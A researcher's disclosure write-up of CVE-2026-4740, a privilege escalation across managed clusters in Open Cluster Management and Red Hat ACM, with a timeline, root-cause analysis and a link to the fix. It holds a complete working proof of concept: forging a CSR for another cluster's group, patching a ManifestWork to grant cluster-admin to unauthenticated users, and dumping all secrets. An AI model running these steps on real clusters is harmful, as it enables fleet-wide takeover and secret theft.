CVE-2026-4740 - Cross-cluster escalation in Red Hat ACM and Open Cluster Management

Timeline:

• 2 february 2026: report send to secalert@redhat.com
• 24 march 2026: CVE-2026-4740 reserved
• 07 april 2026: CVE disclosure (score 8.2)
• X april 2026: patch publish (?)

Using CVE-2026-4740, a score of 8.2 in CVSS3.1, an attacker with administrator access to one managed cluster is able to become an administrator of other managed cluster registered to the same cluster hub. And as the hub is itself registered as a managed cluster, it could result in privileged escalation of the all managed cluster fleet.
Attack description and limitation are described in this blog post.

Some context on the vulnerability. I'm working at Orange on multi-cluster environment. And we specifically use Red Hat Advanced Cluster Management in order to build isolated clusters. In our case, having an isolated cluster is very important. In the architecture of ACM, managed clusters have API access to their hub cluster. So, ACM needs to perfectly manage permission to allow the least permission possible. To confirm this scenario, I have started reviewing Kubernetes permission given to a managed cluster.

From an architectural point of view, the diagram shows that the managed clusters communicate with the hub cluster its Kubernetes API. This is a very common design pattern for a Kubernetes service; it enables greater scalability and allows for better distribution of the reconciliation logic.

However, from a security standpoint, this violates the principle of protection rings. If we consider the cluster hub to be a central cluster with greater importance, the flow should only go from Hub Cluster to Managed Cluster. Like what we could do on some traditional system architectures. I believe that the “pushing” mode scenario was not adopted here precisely because, in the logic of Open Cluster Management, managed clusters and the hub are administered by the same administrators. And managed cluster can be hosted behind NAT, so only hub cluster is accessible.

From my perspective, this architecture led me think: “Ah, we really need to check the permissions granted to these managed clusters, because the design doesn’t protect against privilege escalation attack.”. So, the community needs to make an extra effort to verify permissions and authorizations due to the design. It was this that motivated me to double-check the permissions granted to these managed clusters.

Here is a recommandation from ANSSI when designing an Active Directory system (Yes, hard traditional system architecture 😄). The point I want to share is that when designing a system with security as the top priority, these are the kinds of recommendations you should follow.

(Sorry, English-speaking readers, the diagram is in French, but the main point is about the protection rings and the permitted flows. It’s pretty self-explanatory.)

Open Cluster Management (OCM):
This is the open-source tool used to manage the deployment of Kubernetes configurations between a hub cluster and managed clusters. It enables the configuration of a fleet of clusters via a central cluster. Red Hat is one of the main contributors.

Multi Cluster Engine (MCE):
The official Red Hat operator that provides global packaging for OCM and ClusterAPI (and others, but you get the idea). With these two open-source projects, you can automatically deploy a ClusterAPI cluster and configure it automatically (using OCM).

Red Hat Advanced Cluster Management for Kubernetes (ACM):
Red Hat's premium solution for professionally and industrially managing a fleet of clusters in a unified manner. It includes MCE and a set of security modules and policies.

The vulnerability is related to OCM. However, it also affects MCE and ACM due to their dependency on OCM.

All versions released at least two years ago are affected.

When I discover that the managed cluster have flow to the hub cluster, I look at the available permissions:

OCM's documentation contains great diagram showing the permission exposed on the cluster. Roles are created on hub cluster to allow access to OCM ressources for each individual clusters. User account are created per cluster and per use case. For example there is a user account for the registration process, and one for each addons.

User accounts are available in managed cluster inside secret namespace "open-cluster-management-agent". These secret are client certificate approved by the hub cluster:

I have a hub cluster named "local-cluster" and a managed cluster named "local-cluster-third".

Here is permission for my managed cluster named "local-cluster-third":

Interesting permission with the ClusterRoleBinding open-cluster-management:managedcluster:local-cluster-third:

• ManagedCluster: Actually when you look at the Yaml, this ressources is restricted to only the ressourceNames "local-cluster-third". So nothing possible here.
• CertificateSigningRequest: This is a particularly sensitive resource in Kubernetes. Because signing certificates grants rights within the Kubernetes cluster. I hope the validations check is properly implemented 🙂.

The bootstrap account is a JWT token with a default expiration date of 1 year! Enough to brute force ManagedCluster name for example. We'll come back to that later.

How does the CertificateSigningRequest mechanism work in OCM?

When we deploy a new managed cluster, OCM give us a bootstrap JWT token to initiate the cluster. The OCM agent operator use this token to create a persistent certificate "hub-kubeconfig-secret". The bootstrap JWT token is not used anymore. But certificate are not valid indefinitely, so the certificate itself have the right to issue new CSR on hub cluster.

Where's come the issue with CSR validation.

In OCM operator the Reconcile object csrRenewalReconciler is responsible for CSR validation before approving the certificate request. When looking at the code, I tried to check whether the code's logic was missing any part of the certification.

ocm/pkg/registration/register/csr/approve_reconciler.go at 33310619d9034da78d12ea4c5656d7ae14aa2bb2 · open-cluster-management-io/ocm

Core components in the OCM project. Report here if you found any issues in OCM. - open-cluster-management-io/ocm

GitHubopen-cluster-management-io

• Common name is strictly check against CSR Username. CSR Username is automatically generated by Kubernetes.

kind: CertificateSigningRequest
apiVersion: certificates.k8s.io/v1
metadata:
  name: local-cluster-third-9fv8k
  generateName: local-cluster-third-
  labels:
    open-cluster-management.io/cluster-name: local-cluster-third
spec:
  request: LS0tLS1CRUdJTi[...]
  signerName: kubernetes.io/kube-apiserver-client
  usages:
    - digital signature
    - key encipherment
    - client auth
  username: 'system:open-cluster-management:local-cluster-third:e4274445-38bb-4d59-b0ac-06f4f67f40af'
  groups:
    - 'system:open-cluster-management:managed-clusters'
    - 'system:open-cluster-management:local-cluster-third'
    - 'system:authenticated'
  extra:
    authentication.kubernetes.io/credential-id:
      - X509SHA256=305895839658e9e81f327b401748acb3107c5c75a14a6a495bd5fa46434c99fc

• Group validation works in a peculiar way. To calculate the correct server name, the code relies on the label open-cluster-management.io/cluster-name defined in CRS, even though this value is set by the user. Next, to verify that this value is correct, the prefix of the server name in the common name must match the server name in the group system:open-cluster-management:local-cluster-third. Here, the prefix is used because the common name also contains the server ID e4274445-38bb-4d59-b0ac-06f4f67f40af. But this is problematic, because it means that the code only validates the prefix of the CRS groups. It means that we can forge a CRS with a different group name but still same prefix.

One element I left out from permission analysis is that OCM agent have writing right to ressource ManifestWork.

This ressource is use on OCM to deploy application, configuration on the managed cluster. When a ressource ManifestWork is deploy on hub cluster namespace "local-cluster-third". Their content is automatically created in the managed cluster.

This means that by forging a certificate in the name of another cluster, it is possible to deploy arbitrary resources in a neighboring cluster. In particular, since the hub cluster is itself registered in OCM under the name “local-cluster”, it is possible to deploy resources in our central cluster. As a result, we have obtained greater privileges than before.

Attacks limitation:

• Attacker must already be administrator of one managed cluster. I mean by administrator, having read-only access to secret in namespace “open-cluster-management-agent”.
• Attacker can only gain access to clusters having specific prefix names.
  If you have control of a cluster named “red-123”, you can gain access to any cluster that is a prefix of “red-123”. For example, “red-1”, “red” …
  The hub cluster is named by default “local-cluster” in Openshift. So if you control a cluster named “local-cluster-example”, you can gain access to the hub cluster “local-cluster”, because itself registered as a managed cluster in the hub.
• The vulnerability doesn't impact Hypershift hosted cluster. Because in this case the Klusterlet agent is deploy in hub cluster directly. Without exposing certificates secret in managed cluster.

The origin of the issue comes from a CWE-863 Incorrect Authorization, as the certificate group name doesn't properly match requested cluster name.

CVSS: Score 8.2 ; CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A🪮

Some additional information:

• In my scenario the attacker already knows the name of the cluster to attack. I don’t find a way to list all clusters available from an attacker perspective. But as this attack can be automated and there is not a lot a prefix name to bruteforce, it is possible to test all possible cluster names.
• As the attacker can list certificatesigningrequests, he can wait for the renewal of a certificate, which leaks the name of a cluster.
• The bootstrap token inside a managed cluster is valid by default for 1 year. With this token you have “get” permission on all managedclusters, and can leak all clusters names.

I have access to a cluster named “local-cluster-third”, and I want to gain access to the hub cluster “local-cluster”. Both clusters are managed through Red Hat Advanced Cluster Management:            

1. Start by getting agent hub certificate from local-cluster-third cluster:

$ oc login --server=https://api.cav-caas-kaas-srv-third.arfevrier.fr:6443
$ oc get secret hub-kubeconfig-secret -n open-cluster-management-agent -o jsonpath="{.data.kubeconfig}" | base64 -d > kubeconfig.yaml
$ oc get secret hub-kubeconfig-secret -n open-cluster-management-agent -o jsonpath="{.data.tls\.crt}" | base64 -d > tls.crt
$ oc get secret hub-kubeconfig-secret -n open-cluster-management-agent -o jsonpath="{.data.tls\.key}" | base64 -d > tls.key
$ openssl x509 -in tls.crt -noout -text | grep Subject:
        Subject: O = system:open-cluster-management:local-cluster-third + O = system:open-cluster-management:managed-clusters, CN = system:open-cluster-management:local-cluster-third:e4274445-38bb-4d59-b0ac-06f4f67f40af

You can see that the tls.crt certificate in register for:
- User: system:open-cluster-management:local-cluster-third:e4274445-38bb-4d59-b0ac-06f4f67f40af
- Group: system:open-cluster-management:local-cluster-third
- Group: system:open-cluster-management:managed-clusters

2. Create a new certificate with a new custom group. We want access to cluster local-cluster, so we will register a Kubernetes CertificationSigningRequest for:

- User: system:open-cluster-management:local-cluster-third:e4274445-38bb-4d59-b0ac-06f4f67f40af
- Group: system:open-cluster-management:local-cluster
- Group: system:open-cluster-management:managed-clusters

$ cat csr.json
{
  "CN": "system:open-cluster-management:local-cluster-third:e4274445-38bb-4d59-b0ac-06f4f67f40af",
  "names": [
    { "O": "system:open-cluster-management:local-cluster" },
    { "O": "system:open-cluster-management:managed-clusters" }
  ]
}
$ cfssl gencsr -key tls.key csr.json | jq --raw-output .csr > cert.csr

It’s mandatory here to use cfssl (cloudflare/cfssl: CFSSL: Cloudflare's PKI and TLS toolkit) as openssl doesn’t allow >more 64 characters in CN field.

GitHub - cloudflare/cfssl: CFSSL: Cloudflare’s PKI and TLS toolkit

CFSSL: Cloudflare’s PKI and TLS toolkit. Contribute to cloudflare/cfssl development by creating an account on GitHub.

GitHubcloudflare

3. We put the CSR content inside a Kubernetes Signing Request. It's important to also change the label cluster-name. OCM will automatically approve the certificate.

$ cat cert.csr | base64 | tr -d "\n"
LS0tLS1CRUdJTiBDRVJUSUZJQ0 […]
$ cat cert-request.yaml
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
  name: local-cluster-custom
  labels:
    open-cluster-management.io/cluster-name: local-cluster
spec:
  request: LS0tLS1CRUdJTiBDRVJUSUZJQ0 […]
  signerName: kubernetes.io/kube-apiserver-client
  usages:
  - digital signature
  - key encipherment
  - client auth
$ KUBECONFIG=kubeconfig.yaml kubectl create -f cert-request.yaml

We can get the certificate signed. The command will get the certificate signed by Kubernetes and override the existing tls.crt certificate

$ KUBECONFIG=kubeconfig.yaml kubectl get certificatesigningrequest local-cluster-custom -o jsonpath="{.status.certificate}" | base64 -d > tls.crt

Now you have the group:

$ openssl x509 -in tls.crt -noout -text | grep Subject:
        Subject: O = system:open-cluster-management:local-cluster + O = system:open-cluster-management:managed-clusters, CN = system:open-cluster-management:local-cluster-third:e4274445-38bb-4d59-b0ac-06f4f67f40af

- User: system:open-cluster-management:local-cluster-third:e4274445-38bb-4d59-b0ac-06f4f67f40af
- Group: system:open-cluster-management:local-cluster
- Group: system:open-cluster-management:managed-clusters

4. In hub cluster, group system:open-cluster-management:local-cluster have the RBAC permission: update/patch on ManifestWork of local-cluster namespace.

ManifestWork can be used to deploy any resource inside the managed cluster. Let’s do that. We want to give cluster-admin access to anyone. We can list ManifestWorks to find an existing one. As we doesn’t have the RBAC to create:

$ KUBECONFIG=kubeconfig.yaml kubectl get manifestwork -n local-cluster
NAME                                    AGE
addon-cluster-proxy-deploy-0            45d
addon-hypershift-addon-deploy-0         45d
addon-managed-serviceaccount-deploy-0   45d
addon-work-manager-deploy-0             45d
local-cluster-klusterlet                45d
local-cluster-klusterlet-crds           45d
$ KUBECONFIG=kubeconfig.yaml kubectl patch manifestwork addon-cluster-proxy-deploy-0 \
  -n local-cluster \
  --type=json \
  -p='[
    {
      "op": "add",
      "path": "/spec/workload/manifests/-",
      "value": {
        "apiVersion": "rbac.authorization.k8s.io/v1",
        "kind": "ClusterRoleBinding",
        "metadata": {
          "name": "additional-cluster-admin"
        },
        "subjects": [
          {
            "kind": "User",
            "name": "system:unauthenticated",
            "apiGroup": "rbac.authorization.k8s.io"
          }
        ],
        "roleRef": {
          "kind": "ClusterRole",
          "name": "cluster-admin",
          "apiGroup": "rbac.authorization.k8s.io"
        }
      }
    }
  ]'

The change inside ManifestWork is not persistent! But even if the change is not persistent, the timing is enough to trigger the resource deployment inside the managed cluster.

With this new ClusterRoleBinding created, you can do anything on local-cluster kube API. You can extract the API https link by getting resource ManagedCluster of the desired cluster, as it is allowed by RBAC.

$ KUBECONFIG=kubeconfig.yaml kubectl get ManagedCluster -n local-cluster local-cluster -o jsonpath="{.spec.managedClusterClientConfigs[0].url}"
https://api.cav-caas-kaas-srv-afr.arfevrier.fr:6443
$ cat kubeconfig.yaml
apiVersion: v1
clusters:
- cluster:
    insecure-skip-tls-verify: true
    server: https://api.cav-caas-kaas-srv-afr.arfevrier.fr:6443
  name: b99f2d76-7b56-4fd7-b66a-2ffe4d2243b0
contexts:
- context:
    cluster: b99f2d76-7b56-4fd7-b66a-2ffe4d2243b0
    namespace: configuration
    user: default-auth
  name: default-context
current-context: default-context
kind: Config
preferences: {}
users:
- name: default-auth
  user:
    client-certificate: tls.crt
    client-key: tls.key

5. I choose to list all cluster secret:

$ curl -k https://api.cav-caas-kaas-srv-afr.arfevrier.fr:6443/api/v1/secrets
{
  "kind": "SecretList",
  "apiVersion": "v1",
  "metadata": {
    "resourceVersion": "1229550432"
  },
  "items": [
[...]

An attacker has now cluster-admin rights to a neighbouring cluster. You can see that the attacker needs network access to the neighbouring cluster API. That’s another limitation. But in the case of an attack to the hub cluster “local-cluster”, the attacker is guaranteed to have access to the “local-cluster” API, as he already manages a cluster that has access to it.

Inside project Open Cluster Management, the CSR approving reconciler doesn’t properly check that cluster name matches the certificate's common name. It only checks for the prefix name:

ocm/pkg/registration/register/csr/approve_reconciler.go at 7323d2047ab4ee8c9e478ded4f9c035f37cea702 · open-cluster-management-io/ocm

Core components in the OCM project. Report here if you found any issues in OCM. - open-cluster-management-io/ocm

GitHubopen-cluster-management-io

A pull request have been created that fix the CSR approval with more validation check: https://github.com/open-cluster-management-io/ocm/pull/1476

Using vertex_ai/claude-opus-4-6, on High thinking mode. I have ask following prompt on OCM 1.2.0 source code:

• "Check for security vulnerability inside `pkg/registration` package."
  Nothing related to CSR approval
  
• "Check for security vulnerability inside `pkg/registration/register`."
  Nothing related to CSR approval
  
• "Check for security vulnerability inside `pkg/registration/register/csr`."
  Closest anwser: Label-based cluster name trusted without cross-validation — approve_reconciler.go:134
  validateCSR reads the cluster name from a CSR label (which "anyone could set") and uses it as authoritative for approval decisions. A user in the approvalUsers list can register as any cluster name.
  
• "Check for security vulnerability inside `pkg/registration/register/csr/approve_reconciler.go`."
  Closest anwser but assign low: Cluster Name Sourced from User-Controlled Label (Low) Line 134: The spokeClusterName is read from CSR labels, which are set by the requesting user:
  spokeClusterName, existed := csr.Labels[clusterv1.ClusterNameLabelKey]
  This value is then used to construct the expected organization (line 163). The subsequent validation checks (org match, CN prefix match, username == CN) prevent direct exploitation, but the trust chain starts from an attacker-controlled input. Any future weakening of the downstream checks could make this exploitable.

Clearly, the AI lacks context and examples to understand how certificate verification is performed in the code.